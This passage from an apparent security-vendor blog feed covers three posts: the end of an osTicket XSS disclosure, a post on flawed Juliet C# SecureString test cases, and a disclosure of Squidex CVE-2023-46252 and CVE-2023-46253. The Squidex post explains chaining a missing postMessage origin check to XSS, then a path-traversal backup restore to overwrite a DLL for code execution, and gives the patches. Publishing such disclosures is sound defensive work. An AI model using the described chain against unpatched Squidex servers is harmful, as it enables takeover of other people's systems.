  &lt;tr&gt;&lt;td&gt;2023-10-25&lt;/td&gt;&lt;td&gt;Enhancesoft released patched versions v1.18.1 and v1.17.5&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post introduced the concept of the dangerous Desanitization pattern: data is modified after sanitization, desanitizing it and making it dangerous again. We showed that the pattern often leads to critical vulnerabilities and gave an in-depth example of that with the XSS vulnerability in osTicket. Kudos to the maintainer Enhancesoft for the pleasant communication during disclosure! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To protect your code against Desanitization, you can follow the Intentionality attribute of Clean Code: You intend to only use sanitized data for rendering HTML, so you sanitize last after modifications, keeping the data clean.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Put Proton Mails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/magento-rce-via-xss/&quot;&gt;Magento 2.3.1: Unauthenticated Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw/&quot;&gt;Remote Code Execution in Tutanota Desktop due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Juliet C# Benchmark and the SecureString case]]></title><description><![CDATA[Juliet C# is a project from the National Institute of Standards and Technology of the USA. As a security benchmark project, we used Juliet C# 1.3 to test and improve our C# analyzer. Here is a glimpse of the work we did around Juliet and some of its test cases related to the SecureString .NET type.
]]></description><link>https://www.sonarsource.com/blog/juliet-c-benchmark-and-the-securestring-case</link><guid isPermaLink="false">cae28b7a-b3c1-5375-a1bb-31a1e648b04a</guid><dc:creator><![CDATA[Gaëtan Ferry]]></dc:creator><pubDate>Thu, 01 Feb 2024 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Juliet C# and the benchmark initiative&lt;/h2&gt;&lt;p&gt;As part of a larger initiative to improve the quality of Sonar’s products findings, in 2023 our teams worked on SAST benchmarks coverage. The reasons behind this are explained in a &lt;a href=&quot;https://www.sonarsource.com/blog/sonar-s-scoring-on-the-top-3-c-sast-benchmarks/&quot;&gt;previous Top 3 C# SAST Benchmarks post&lt;/a&gt; that we encourage you to read.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Multiple benchmarks have been selected for each of our products’ flagship languages among which Juliet C# 1.3.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Juliet C# is a project from the National Institute of Standards and Technology of the USA, currently in version 1.3. It is known for supporting over a hundred CWEs, combined with a small set of code variations to form more than 28,000 test cases. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We put a lot of effort into supporting this benchmark, partly due to its size. Especially, building the ground truth, the list of all valid findings on which a SAST engine should raise, took a lot of time. In the following, we want to give you a glimpse of the work we did around Juliet and some of its test cases.&lt;/p&gt;&lt;h2&gt;Juliet C# - the SecureString test case&lt;/h2&gt;&lt;p&gt;Among all the test cases implemented in the Juliet C# benchmark, a subset proved to be particularly interesting. It can be summarized by the following code sample. It has been adapted from the &lt;em&gt;CWE313_Cleartext_Storage_in_a_File_or_on_Disk__ReadLine_01.cs&lt;/em&gt; test case.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;using System.Security;

internal class Program
{
    private static void Main(string[] args)
    {
        string data;
        data = &quot;&quot;; /* Initialize data */
        {
            /* read user input from console with ReadLine */
            try
            {
                /* POTENTIAL FLAW: Read data from the console using ReadLine */
                data = Console.ReadLine();
            }
            catch (IOException exceptIO)
            {
                Console.WriteLine(&quot;Error with stream reading&quot; + exceptIO);
            }
        }
        using (SecureString secureData = new SecureString())
        {
            for (int i = 0; i &lt; data.Length; i++)
            {
                secureData.AppendChar(data[i]);
            }
            /* POTENTIAL FLAW: Store data directly in a file */
            File.WriteAllText(@&quot;C:\Users\Public\WriteText.txt&quot;, secureData.ToString());
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In essence, with this test case, Juliet C# showcases an issue where sensitive data is written unprotected in an unsafe location. Such kind of issues are difficult to identify with a static code analyzer because it is generally not possible to determine what is a sensitive piece of data solely based on the code semantic.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In that case, however, Juliet uses the &lt;code&gt;SecureString&lt;/code&gt; type to store the data that is deemed sensitive. This could have interesting consequences.&lt;/p&gt;&lt;h2&gt;SecureStrings&lt;/h2&gt;&lt;p&gt;Stepping back to look at Microsoft’s documentation regarding the &lt;code&gt;SecureString&lt;/code&gt; type, its general purpose and behavior can be quickly identified.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Represents text that should be kept confidential, such as by deleting it from computer memory when no longer needed. This class cannot be inherited.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main function of &lt;code&gt;SecureString&lt;/code&gt; objects is to store sensitive information that should be kept confidential. It implements security mechanisms to protect this information in multiple ways:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Using unmanaged memory, the type prevents the data it contains from being moved and copied into memory in an uncontrolled way.&lt;/li&gt;&lt;li&gt;Likewise, it allows its users to easily zero out and release the sensitive memory segment.&lt;/li&gt;&lt;li&gt;An encryption wrapping of the sensitive information keeps it safe from reading by unexpected tiers.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;SecureString (non-)deprecation&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, while the &lt;code&gt;SecureString&lt;/code&gt; API is not deprecated, Microsoft discourages its use in new development.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;We recommend that you don&amp;#x27;t use the &lt;code&gt;SecureString&lt;/code&gt; class for new development on .NET (Core) or when you migrate existing code to .NET (Core). For more information, see &lt;code&gt;SecureString&lt;/code&gt; shouldn&amp;#x27;t be used.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is a lot of information in Microsoft’s documentation about why &lt;code&gt;SecureString&lt;/code&gt; should not be used. The reasons can be summarized in a few key points:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;SecureString&lt;/code&gt; is unsupported at the Operating System level and by most .NET API functions. They often need to be converted back to an unsafe type before being used.&lt;/li&gt;&lt;li&gt;The same is also true for &lt;code&gt;SecureString&lt;/code&gt; construction. The source of the sensitive data is also often unprotected.&lt;/li&gt;&lt;li&gt;Depending on the platform, the &lt;code&gt;SecureString&lt;/code&gt; implementation might not protect the sensitive data at all.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Platform-specific behavior&lt;/h2&gt;&lt;p&gt;This last statement is easily demonstrated by reading the SecureString type source code. The &lt;a href=&quot;https://github.com/dotnet/runtime/blob/main/src/libraries/System.Private.CoreLib/src/System/Security/SecureString.cs&quot;&gt;platform-common code&lt;/a&gt; calls a ProtectMemory method when initializing a &lt;code&gt;SecureString&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void Initialize(ReadOnlySpan&lt;char&gt; value)
        {
            _buffer = UnmanagedBuffer.Allocate(GetAlignedByteSize(value.Length));
            _decryptedLength = value.Length;

            SafeBuffer? bufferToRelease = null;
            try
            {
                Span&lt;char&gt; span = AcquireSpan(ref bufferToRelease);
                value.CopyTo(span);
            }
            finally
            {
                ProtectMemory();
                bufferToRelease?.DangerousRelease();
            }
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/dotnet/runtime/blob/main/src/libraries/System.Private.CoreLib/src/System/Security/SecureString.Windows.cs&quot;&gt;Windows-specific implementation&lt;/a&gt; of this method uses the system-level DPAPI mechanism to efficiently encrypt the sensitive data value.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void ProtectMemory()
        {
            if (_decryptedLength != 0 &amp;&amp;
                !_encrypted &amp;&amp;
                !Interop.Crypt32.CryptProtectMemory(_buffer, (uint)_buffer.ByteLength, Interop.Crypt32.CRYPTPROTECTMEMORY_SAME_PROCESS))
            {
            _encrypted = true;
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On the contrary, the &lt;a href=&quot;https://github.com/dotnet/runtime/blob/main/src/libraries/System.Private.CoreLib/src/System/Security/SecureString.Unix.cs&quot;&gt;Unix-specific implementation&lt;/a&gt; does not perform any encryption at all.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void ProtectMemory()
        {
            _encrypted = true;
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that, contrary to Windows ones, Unix systems generally do not provide any system-level encryption mechanism, which prevents the safe implementation of the &lt;code&gt;ProtectMemory&lt;/code&gt; function.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;SecureString&lt;/code&gt; type existed before .NET started supporting .NET platform. This might explain why the deprecation state is unclear.&lt;/p&gt;&lt;h2&gt;Unprotected timespan&lt;/h2&gt;&lt;p&gt;Because no operating system secure string structure exists, the .NET API, as well as the user code, constantly needs to protect and unprotect the &lt;code&gt;SecureString&lt;/code&gt;-protected data. This means that the confidential data that it contains is available in clear text in the process memory from time to time. The exact frequency and timespan over which it is readable varies depending on the program’s logic.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, let’s execute the test program whose code was presented above and look at what the memory looks like when a piece of sensitive data is written to disk.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/db97bedd-812f-4ff5-9cb7-9f667f2bd1d1/Juliet%20C%23%20blog%20Image%20A.png&quot; /&gt;&lt;p&gt;At that point in the execution, the &lt;code&gt;SecureString&lt;/code&gt; value is properly protected. However, the data buffer that was used during the initialization is in clear text and can be read from the process memory. This makes the &lt;code&gt;SecureString&lt;/code&gt; protection useless.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Microsoft documentation discourages initializing a &lt;code&gt;SecureString&lt;/code&gt; object from a string for this exact reason.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;A SecureString object should never be constructed from a String, because the sensitive data is already subject to the memory persistence consequences of the immutable String class. The best way to construct a SecureString object is from a character-at-a-time unmanaged source, such as the &lt;code&gt;Console.ReadKey&lt;/code&gt; method.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, even in that case, the .NET implementation is forced to decrypt the protected memory every time a character is appended to the &lt;code&gt;SecureString&lt;/code&gt; buffer. If we go back to the test case execution and inspect the program’s memory during the addition of the last character of the secret value, we can observe that the secret appears in cleartext.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2d65941d-4b41-4906-85dc-bf31466adb85/Juliet%20C%23%20blog%20image%20B.png&quot; /&gt;&lt;p&gt;Here again, with sufficient entitlement, it is possible to access the secret value in the process memory. &lt;/p&gt;&lt;h2&gt;SecureString and SAST&lt;/h2&gt;&lt;p&gt;The protection offered by &lt;code&gt;SecureString&lt;/code&gt; objects might not be perfect or even as good as one can expect. Still, when properly used, they can add some additional security to an application. There is also no real alternative to using them. &lt;code&gt;SecureString&lt;/code&gt; is still actively used despite Microsoft’s warning.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Discussing whether or not you should use &lt;code&gt;SecureString&lt;/code&gt; is out of the scope of our topic. What is interesting to note is that &lt;code&gt;SecureString&lt;/code&gt;s are meant to store sensitive data. Seeing the type used in a piece of source code can therefore hint a SAST engine, with otherwise no understanding of an application’s business logic, about the sensitivity of a piece of data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This makes it possible to detect Juliet’s test case with a SAST engine. The idea of tracking sensitive data usage inside a program also sounds promising and could represent a nice addition to Sonar’s engines.&lt;/p&gt;&lt;h2&gt;Juliet C# and SecureString: it’s all about running the code&lt;/h2&gt;&lt;p&gt;Before adding new rules and capabilities to our products, it is important to fully understand the security vulnerability the benchmark showcases here. We want to be sure to create the most precise detection logic to prevent later discomfort for our users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, running the test program we presented earlier leads to unexpected results. As a reminder, the test code tries to write the &lt;code&gt;SecureString&lt;/code&gt; value into the &lt;em&gt;C:\Users\Public\WriteText.txt&lt;/em&gt; file.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;            /* POTENTIAL FLAW: Store data directly in a file */
            File.WriteAllText(@&quot;C:\Users\Public\WriteText.txt&quot;, secureData.ToString());&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, the file that is created that way does not contain the expected sensitive data.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;PS C:\Users\Public&gt; Get-Content .\WriteText.txt
System.Security.SecureString&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead, the fully qualified name of the &lt;code&gt;SecureString&lt;/code&gt; type is written. This is because the &lt;code&gt;SecureString&lt;/code&gt; type does not implement a &lt;code&gt;toString&lt;/code&gt; method. The default &lt;code&gt;Object.ToString&lt;/code&gt; method is therefore called which behavior is to return the fully qualified name of the type of the object.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There might have been confusion on the benchmark maintainers’ side when writing this test case. There is no sensitive information unsafely written here. Obviously, we do not want to implement such a detection behavior in our product as it would only result in false positives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This ends our investigations on the &lt;code&gt;SecureString&lt;/code&gt; case.&lt;/p&gt;&lt;h2&gt;Juliet C# benchmark wrap-up&lt;/h2&gt;&lt;p&gt;In the end, all the test cases for CWE313, CWE314, CWE315, and CWE319, which are all about sensitive data storage issues, proved to be wrong. They were all removed from the benchmark ground truth we created and excluded from our precision score computation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Those are only an extract of all the bad test cases the Juliet C# benchmark proposed. The samples for CWE78 (OS command injection) are other examples of failed test cases. Those make a wrong assumption over the &lt;code&gt;Process.start&lt;/code&gt; API function behavior that results in a buggy code that never runs correctly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nevertheless, the &lt;code&gt;SecureString&lt;/code&gt; case proved to be inspiring. Using hints in the code to identify potentially sensitive pieces of data is a less explored capability in the SAST engines world. You can expect to see more of those confidentiality-related rules appear in the Sonar products in the future.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Who are you? The Importance of Verifying Message Origins]]></title><description><![CDATA[This blog post highlights the importance of verifying the origin of JavaScript message events and outlines the potential impact of omitting this by detailing two critical vulnerabilities in the Squidex application.]]></description><link>https://www.sonarsource.com/blog/who-are-you-the-importance-of-verifying-message-origins</link><guid isPermaLink="false">d22aafb9-fafc-5f30-b6e2-70d6acb0b4ee</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Sun, 28 Jan 2024 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our continuous effort to help secure open-source projects and improve our Clean Code solution, we regularly scan open-source projects via &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; and evaluate the findings. When scanning the popular C# Content Management System &lt;a href=&quot;https://squidex.io/&quot;&gt;Squidex&lt;/a&gt;, we were faced with the following finding reported by SonarCloud:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dcd38d16-1d2d-497a-abb4-7166ddc1f2e6/squidex1.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_squidex-blogpost&amp;open=AY01pLgzMIviG0DPCru_&quot;&gt;&lt;strong&gt;View this issue on SonarCloud&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud detected that this event listener does not verify the event’s origin. This doesn’t feel like a big deal, does it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we will see in this blog post, it is a big deal and allows attackers to &lt;strong&gt;fully take over a vulnerable Squidex instance&lt;/strong&gt; by tricking a user into clicking on a malicious link. The blog post will detail how attackers can leverage this seemingly minor issue of a missing origin check to achieve code execution and explain how you can discover similar issues in your own code.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Squidex version 7.8.2&lt;/strong&gt; and below is prone to &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; vulnerability via event listener (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-46252&quot;&gt;CVE-2023-46252&lt;/a&gt;). Attackers can combine this vulnerability with an authenticated &lt;strong&gt;Arbitrary File Write&lt;/strong&gt; (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-46253&quot;&gt;CVE-2023-46253&lt;/a&gt;) to gain remote code execution (RCE) on a Squidex instance:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/wG1ion1E8V0&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Both vulnerabilities were fixed with &lt;a href=&quot;https://github.com/Squidex/squidex/releases/tag/7.9.0&quot;&gt;Squidex version 7.9.0&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we describe the technical details of both of these vulnerabilities.&lt;/p&gt;&lt;h3&gt;XSS due to Missing Origin Check (CVE-2023-46252)&lt;/h3&gt;&lt;p&gt;Before we dive into the technical details of this vulnerability, let’s see how we were able to discover it within seconds. On SonarCloud, an application can quickly be analyzed by adding the corresponding GitHub repository. For public repositories, this is even free, regardless of their size or language. Once the repository is added, SonarCloud starts to analyze the code and we can inspect the findings a few seconds later:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/55536616-9575-4867-b882-e9b75e75ed72/squidex-sonarcloud.gif&quot; /&gt;&lt;p&gt;Let’s have a look at the reported &lt;code&gt;eventListener&lt;/code&gt; function, which is registered in the &lt;code&gt;SquidexFormField&lt;/code&gt; pseudo-class:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function SquidexFormField() {
    // ...
    function eventListener(event) {
        if (event.source !== window) {
            var type = event.data.type;
            console.log(&apos;Received Message: &apos; + type);
            if (type === ...) {
                // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although the event listener checks the source of the event (&lt;code&gt;event.source&lt;/code&gt;), it is indeed missing a check of its origin (&lt;code&gt;event.origin&lt;/code&gt;). Because of this as well as the lack of &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options&quot;&gt;X-Frame-Options&lt;/a&gt; and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy&quot;&gt;Content-Security-Policy&lt;/a&gt;, a malicious website can include the Squidex website in an iframe and use the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage&quot;&gt;postMessage&lt;/a&gt; method to trigger the execution of the event listener in the context of the included Squidex website:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c37c9e4d-3dc1-4b01-9da8-8f141b0b133c/squidex-postmessage.png&quot; /&gt;&lt;p&gt;Looking at the different &lt;code&gt;type&lt;/code&gt; values attackers can submit this way, the &lt;code&gt;valueChanged&lt;/code&gt; type caught our attention. When the &lt;code&gt;SquidexFormField&lt;/code&gt; receives a message with this type, the &lt;code&gt;value&lt;/code&gt; property is updated and the function &lt;code&gt;raiseValueChanged&lt;/code&gt; is called:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;        } else if (type === &apos;valueChanged&apos;) {
            value = event.data.value;
            raiseValueChanged();
        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;raiseValueChanged&lt;/code&gt; function invokes the &lt;code&gt;valueHandler&lt;/code&gt; callback, which can be registered via the &lt;code&gt;onValueChanged&lt;/code&gt; function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;     /**
     * Register an function that is called whenever the value of the field has changed.
     *
     * @param {function} callback: The callback to invoke. Argument 1: Field value (any).
     */
        onValueChanged: function (callback) {
            if (!isFunction(callback)) {
                return;
            }
            valueHandler = callback;
            raiseValueChanged();
        },&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;SquidexFormField&lt;/code&gt; class is for example used in the &lt;a href=&quot;https://github.com/Squidex/squidex/blob/7.8.2/backend/src/Squidex/wwwroot/scripts/editor-editorjs.html&quot;&gt;editor-editorjs.html&lt;/a&gt; file, which can be accessed via the public &lt;code&gt;wwwroot&lt;/code&gt; folder. It uses the &lt;code&gt;onValueChanged&lt;/code&gt; method to register a callback function, which passes the value provided from the message event to the &lt;code&gt;editor.render&lt;/code&gt; function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!DOCTYPE html&gt;
&lt;html&gt;
...
    &lt;script&gt;
        var field = new SquidexFormField();
        var editor = new EditorJS({
            ...
            onReady: function () {
                field.onValueChanged(function (value) {
                    if (value) {
                        editor.render(value);
                    }
                });
                ...
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;editor.render&lt;/code&gt; function used here is part of the &lt;a href=&quot;https://www.npmjs.com/package/@editorjs/editorjs&quot;&gt;editorjs npm package&lt;/a&gt;. Passing an attacker-controlled value to this function introduces a Cross-Site Scripting (XSS) vulnerability. Since the registered message event listener in &lt;a href=&quot;https://github.com/Squidex/squidex/blob/7.8.2/backend/src/Squidex/wwwroot/scripts/editor-sdk.js&quot;&gt;&lt;code&gt;editor-sdk.js&lt;/code&gt;&lt;/a&gt; does not verify the origin of the received message, attackers can include the &lt;a href=&quot;https://github.com/Squidex/squidex/blob/7.8.2/backend/src/Squidex/wwwroot/scripts/editor-editorjs.html&quot;&gt;&lt;code&gt;editor-editorjs.html&lt;/code&gt;&lt;/a&gt; page in an iframe and send a message to it in order to trigger the execution of arbitrary JavaScript code. This did not only affect self-hosted Squidex instances but also &lt;a href=&quot;https://cloud.squidex.io/&quot;&gt;Squidex Cloud&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/436ae6a0-4dfd-4b64-9ffa-6c1a83014986/squidex-xss.png&quot; /&gt;&lt;p&gt;When determining the impact of this vulnerability, we identified a second vulnerability. This vulnerability is an authenticated file write, which attackers can combine with the XSS vulnerability to execute arbitrary code.&lt;/p&gt;&lt;h3&gt;Arbitrary File Write (CVE-2023-46253)&lt;/h3&gt;&lt;p&gt;Squidex allows users with the &lt;code&gt;squidex.admin.restore&lt;/code&gt; permission to create and restore backups. Part of these backups are uploaded assets. For each asset, the backup zip archive contains a &lt;code&gt;.asset&lt;/code&gt; file with the actual content of the asset as well as a related &lt;code&gt;AssetCreatedEventV2&lt;/code&gt; event, which is stored in a JSON file (&lt;code&gt;4.json&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ddd184b8-91cd-4aae-858d-7f440ae4b2e4/squidex-shell1.png&quot; /&gt;&lt;p&gt;Amongst other things, the JSON file contains the event type (&lt;code&gt;AssetCreatedEventV2&lt;/code&gt;), the ID of the asset (&lt;code&gt;46c05041-9588-4179-b5eb-ddfcd9463e1e&lt;/code&gt;), its original filename (&lt;code&gt;test.txt&lt;/code&gt;), and its file version (&lt;code&gt;0&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bcccaff6-ea57-4507-ae77-23488f095b6f/squidex-shell2.png&quot; /&gt;&lt;p&gt;When a backup with this event is restored, the corresponding asset needs to be re-created. This is done by:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;determining the name of the &lt;code&gt;.asset&lt;/code&gt; file in the zip archive,&lt;/li&gt;&lt;li&gt;reading its content, and&lt;/li&gt;&lt;li&gt;storing the content in the filestore (by default &lt;a href=&quot;https://github.com/Squidex/libs/blob/main/assets/Squidex.Assets/FolderAssetStore.cs&quot;&gt;&lt;code&gt;FolderAssetStore&lt;/code&gt;&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the filename used to store the content in the filestore is populated with the ID of the asset. Since this asset ID is taken from the provided JSON file, attackers can set this to an arbitrary value when restoring a backup. This allows attackers to insert a path traversal sequence (&lt;code&gt;../&lt;/code&gt;) and write the &lt;code&gt;.asset&lt;/code&gt; file from the backup zip archive to an arbitrary location on the file system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The by-default appended file version, which is not a &lt;code&gt;string&lt;/code&gt; but a &lt;code&gt;long&lt;/code&gt;, would usually restrict the name of the written file. However, attackers can overcome this by setting the &lt;code&gt;fileVersion&lt;/code&gt; to &lt;code&gt;-1&lt;/code&gt;, which makes the application omit the file version:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private string GetFileName(DomainId appId, DomainId id, long fileVersion = -1, string? suffix = null)
{
    var sb = new StringBuilder(20);
    // id contains the ID of the asset to restore
    sb.Append(id);

    // only append file version if it&apos;s greater or equal to 0:
    if (fileVersion &gt;= 0)
    {
        sb.Append(&apos;_&apos;);
        sb.Append(fileVersion);
    }
    // ...
    return sb.ToString();
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thus attackers can fully control the name and the content of the file written. This ability can be turned into arbitrary code execution by, for example, overwriting the &lt;code&gt;dotnet-gcdump.dll&lt;/code&gt; file and triggering &lt;code&gt;gcdump&lt;/code&gt; via the &lt;code&gt;/api/diagnostics/gcdump&lt;/code&gt; endpoint.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In summary, the seemingly minor issue of a missing origin check can be leveraged by attackers to craft a malicious link, which triggers an XSS attack to gain remote code execution via this additional arbitrary file write vulnerability.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The XSS vulnerability (CVE-2023-46252) was fixed by adding the missing origin verification. Since there are valid use cases for certain origins to send messages to a Squidex website, a &lt;a href=&quot;https://github.com/Squidex/squidex/commit/9b7d5dce1faf07306e6202ac6df0642eac55acbc&quot;&gt;dynamic configuration was introduced&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function eventListener(event) {
    if (acceptedOrigins &amp;&amp; acceptedOrigins.indexOf(event.origin) &lt; 0) {
        console.log(&apos;Origin not accepted: &apos; + event.origin);
        return;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The arbitrary file write vulnerability (CVE-2023-46253) was fixed by preventing a path traversal attack. &lt;a href=&quot;https://github.com/Squidex/libs/commit/51a1288ae69866546917874d35b227aefd6f7eab#diff-c48d916133cc8d128092281acc53cb9bf5b060a43ecb056b25d4f7cfde906137&quot;&gt;An additional check was added&lt;/a&gt; to the &lt;code&gt;FilePathHelper&lt;/code&gt; class, which ensures that files are only created within the intended destination folder:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static class FilePathHelper
{
    public static string EnsureThatPathIsChildOf(string path, string folder)
    {
        if (path.Contains(&quot;../&quot;, StringComparison.Ordinal) || path.Contains(&quot;..\\&quot;, StringComparison.Ordinal))
        {
            throw new InvalidOperationException(&quot;Names cannot point to parent directories.&quot;);
        }

        if (string.IsNullOrWhiteSpace(folder))
        {
            folder = &quot;./&quot;;
        }

        var absolutePath = Path.GetFullPath(path);
        var absoluteFolder = Path.GetFullPath(folder);

        if (!absolutePath.StartsWith(absoluteFolder, StringComparison.Ordinal))
        {
            throw new InvalidOperationException(&quot;Names cannot point to parent directories.&quot;);
        }

        return path;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
